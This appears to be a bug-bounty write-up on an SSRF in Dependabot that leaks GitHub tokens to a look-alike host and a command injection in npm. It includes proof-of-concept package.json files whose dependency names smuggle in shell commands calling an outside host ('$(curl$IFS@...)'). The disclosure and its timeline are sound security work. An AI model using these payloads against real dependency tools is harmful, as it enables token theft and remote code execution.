If you are developing some applications on GitHub, you might have seen pull requests from Depedabot. It automatically finds outdated vulnerable packages and sends pull requests to fix that.
It is enabled by default and can make a commit on dependabot/*
branch of many repositories on GitHub.
Therefore, I thought If I could gain a controll of Dependabot, I can steal write permissions of those repositories.
So I started to look into Dependabot.
SSRF in Dependabot
The core module of the Dependabot is open-sourced (https://github.com/dependabot/dependabot-core), so we can use Dependabot outside of GitHub. To start the investigation, I prepared an local Dependabot environment following the official sample code.
This sample code requires GitHub access token to fetch the source code of the repository.
credentials =
[{
"type" => "git_source",
"host" => "github.com",
"username" => "x-access-token",
"password" => "a-github-access-token"
}]
My first idea is to deceiving a Dependabot so that the bot will sends the token to my server instead of GitHub. This idea seems possible because there are flaws in URL validations.
One of the validations is to check whether the URL contains github.com
or not.
Obviously, this validation accepts a URL such as github.com.mocos.kitchen
.
KNOWN_HOSTS = /github\.com|bitbucket\.org|gitlab.com/i.freeze
raise Dependabot::GitDependenciesNotReachable, [uri] unless uri.match?(KNOWN_HOSTS)
Another one uses following regexp which accepts a URL such as git+https://github.com.mocos.kitchen/username/repo
.
GIT_URL_REGEX = %r{
(?<git_prefix>^|^git.*?|^github:|^bitbucket:|^gitlab:|github\.com/)
(?<username>[a-z0-9-]+)/
(?<repo>[a-z0-9_.-]+)
(
(?:\#semver:(?<semver>.+))|
(?:\#(?=[\^~=<>*])(?<semver>.+))|
(?:\#(?<ref>.+))
)?$
}ix.freeze
Based on these tricks, Dependabot treats git+https://github.com.mocos.kitchen/username/repo
as a valid GitHub’s URL.
Token stealing demo
To proof this concept, I created a sample repository that includes following package.json
file.
{
"dependencies": {
"package1": "git+https://github.com.mocos.kitchen/username/repo"
}
}
Next, I updated the credentials
, repo_name
and dependency_name
in update-scripts.rb from the official sample code so that we can run dependency checker against the sample repository I created.
When I run the script, my server - github.com.mocos.kitchen
- received a request containing GitHub Access Token.
It means, if someone run a dependency checker against malicious repository, their GitHub Access Token will be stolen!
GET /username/repo.git/info/refs?service=git-upload-pack HTTP/1.0
Host: localhost:3000
Connection: close
User-Agent: dependabot-core/0.142.0 excon/0.79.0 ruby/2.6.6 (x86_64-darwin20) (+https://github.com/dependabot/dependabot-core)
Authorization: Basic eC1hY2Nlc3MtdG9rZW46Z2hw*************************************
Accept-Encoding: deflate, gzip
First dive into a Dependabot server
Next, in order to try this attack in GitHub environment, I enabled Dependabot alerts in the sample repository.
We can do this by simply creating a .github/dependabot.yml
file.
---
version: 2
updates:
- package-ecosystem: npm
directory: "/"
schedule:
interval: daily
I successfully received a HTTP request from a Dependabot in GitHub. But contrary to my expectation, there is no GitHub Access Token in the request. Afterwards, it turns out that those servers are using special HTTP proxy which enalbes the bot to access target repository without GitHub Access Token.
GET /username/repo.git/info/refs?service=git-upload-pack HTTP/1.0
Host: localhost:3000
Connection: close
User-Agent: dependabot-core/0.156.4 excon/0.83.0 ruby/2.7.1 (x86_64-linux-gnu) (+https://github.com/dependabot/dependabot-core)
Accept-Encoding: gzip
I couldn’t steal the token from GitHub’s Dependabot server by SSRF, but after some investigation, I found another bug.
Get the shell of a Dependabot server
When I tried some payload, I came across with a pattern that triggers a shell command in Dependabot server.
With the package name https://github.com/tyage/;$(curl$IFS@mocos.kitchen:3001);?/...
, a shell command curl$IFS@mocos.kitchen:3001
was executed and we could see the request!
https://github.com/tyage/dependabot-test3/blob/a81ac0bb60ac5aad66fa3191b5276f633a6d421d/package.json
{
"name": "javascript",
"version": "1.0.0",
"main": "index.js",
"license": "MIT",
"private": true,
"dependencies": {
"tyage-sample-package": "https://github.com/tyage/;$(curl$IFS@mocos.kitchen:3001);?/github.com/tyage/sample-package.git#semver:4.0.0"
}
}
I got the shell of the Dependabot server suddenly, but unfortunately, what we can do in the server is limited. Here is what I could do:
- Access to the internal HTTP proxy which enables us to access to the target GitHub repository
- Access to the internal API server which enalbes us to create a pull request as a Dependabot
- Bitcoin mining :)
Therefore, we couldn’t obtain read/write access of other user’s repository. (If we can pwn the internal HTTP proxy or API server, it will allow us to escalate the permission, I guess.)
Even though I couldn’t get the access to other user’s repository, I could impersonate as a verified Dependabot account and create a commit and pull request by calling internal API.
https://github.com/tyage/dependabot-test3/pull/31
RCE in npm
By the way, what was happend to Dependabot when I changed the package name to https://github.com/tyage/;$(curl$IFS@mocos.kitchen:3001);...
?
I found that the command was executed in run_npm_7_top_level_updater
method.
In this method, the bot runs npm install
command with --ignore-scripts --package-lock-only
arguments so that it can see if the lock file is updated without running install scripts.
command = [
"npm",
"install",
*install_args,
"--force",
"--dry-run",
"false",
"--ignore-scripts",
"--package-lock-only"
].join(" ")
Therefore, I thought Dependabot doesn’t escape the arguments, but it does properly escapes all command arguments.
cmd = allow_unsafe_shell_command ? command : escape_command(command)
So I manually run npm install
command to see what was happened and…
$ npm install 'git+https://github.com/tyage/sample-package;echo HELLO > a;' --ignore-scripts
npm ERR! code 127
npm ERR! command failed
npm ERR! command git ls-remote ssh://git@github.com/tyage/sample-package;echo HELLO > a; .git
npm ERR! 8b7e1769b6df4461c8e89e6d0a2035c4512409cd HEAD
npm ERR! 8b7e1769b6df4461c8e89e6d0a2035c4512409cd refs/heads/main
npm ERR! 8b7e1769b6df4461c8e89e6d0a2035c4512409cd refs/tags/4.0.0
npm ERR! 8b7e1769b6df4461c8e89e6d0a2035c4512409cd refs/tags/5.0.0
npm ERR! zsh:1: command not found: .git
npm ERR! A complete log of this run can be found in:
npm ERR! /Users/tyage/.npm/_logs/2021-04-06T09_39_20_675Z-debug.log
$ cat a
HELLO
Yes, the bug is in npm!
Even if there is a --ignore-scripts
option, we can execute a shell command injected in a package name!
When we call npm install
command with git+https://...
package name, git ls-remote
command is triggered using child_process.spawn
method.
proc = spawn(cmd, args, opts)
Also, if child_process.spawn
method is called with shell
option, the command will be run inside of the shell.
npm passes opts
variable, which contains npm config, as an option argument.
It means opts.shell
is same with shell
config which default value is a $SHELL
environment variable or bash
on Posix
You can see your config of the npm with npm config
command.
$ npm config get shell
/bin/zsh
Summarizing the above, npm calls child_process.spawn
so that they can execute git ls-remote 'git+https://....'
, but since they set the shell
option, malicious shell command - starts from ;
or $(
- in the package name is evaluated.
I reported this bug to the teams and it was resolved in npm 7.10.0. I asked if they issue CVE but they answered they will not.
But as you know, the action “installing a malicious npm package” itself is already dangerous, so this bug only affects to limited situations such as a dependency checker.
Timeline
I reported SSRF to Dependabot and RCE to npm, and received bounties $617 and $7,500 respectively.
Interestingly, both of them are in the scope of GitHub Bug Bounty Program.
Report to Dependabot:
- 2021/03/31 08:50:30 UTC Reported Dependabot issue
- 2021/04/23 09:54:22 UTC Bounty Rewarded
Report to npm:
- 2021/04/06 10:23:49 UTC Reported npm issue
- 2021/04/07 17:53:57 UTC Issue triaged
- 2021/04/28 19:41:59 UTC Issue patched
- 2021/05/04 14:42:21 UTC Bounty Rewarded